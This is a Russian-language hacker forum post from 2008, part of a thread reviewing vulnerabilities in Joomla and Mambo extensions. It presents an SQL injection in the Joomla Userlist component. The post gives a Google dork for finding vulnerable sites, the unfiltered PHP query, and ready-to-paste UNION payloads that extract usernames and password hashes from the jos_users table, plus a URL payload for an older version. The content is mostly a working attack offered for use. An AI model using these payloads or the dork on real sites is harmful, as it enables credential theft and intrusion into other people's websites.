Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

#11

14.12.2008, 15:39

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

С нами: 10483586

Репутация: 5826

Joomla Component Userlist SQL-INJ

Уязвимый продукт: Joomla Component Userlist
Версия: 2.5 (в более ранних версиях не прокатывает - другой запрос)
Дорк: "inurl:com_userlist"

SQL-INJ

Необходимое условие: magic_quotes_gpc = Off
Уязвимость в файле userlist.php.
Уязвимый кусок кода:

PHP код:


		
			
if ($search != "") {

        $query .= " WHERE (u.name LIKE '%$search%' OR u.username LIKE '%$search%')";

Параметр $search не фильтруется, но обрамляется в кавычки, значит без ковычек тут не обойтись.

Эксплуатация:

В поле поиска пользователя вбиваем следующее:

Код:

1' and 1=2) and 1=2 union select 1,2,3,4,5,6-- 1

Получаем логин и пароль:

Код:

1' and 1=2) and 1=2 union select concat(username,char(58),password),2,3,4,5,6 from jos_users-- 1

Уязвимости предыдущих версий:

Код:

Версия 2.0 SQL-INJ /index.php?option=com_userlist&limitstart=0,0+union+select+1,2,3,4--+1

Последний раз редактировалось Grey; 14.12.2008 в 18:19..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

[Обзор уязвимостей в форумных движках]

Grey

Уязвимости CMS / форумов

02.04.2015 17:48

Обзор бесплатных Cms

em00s7

PHP

03.07.2009 13:13

Cms

Cawabunga

PHP

05.08.2007 00:31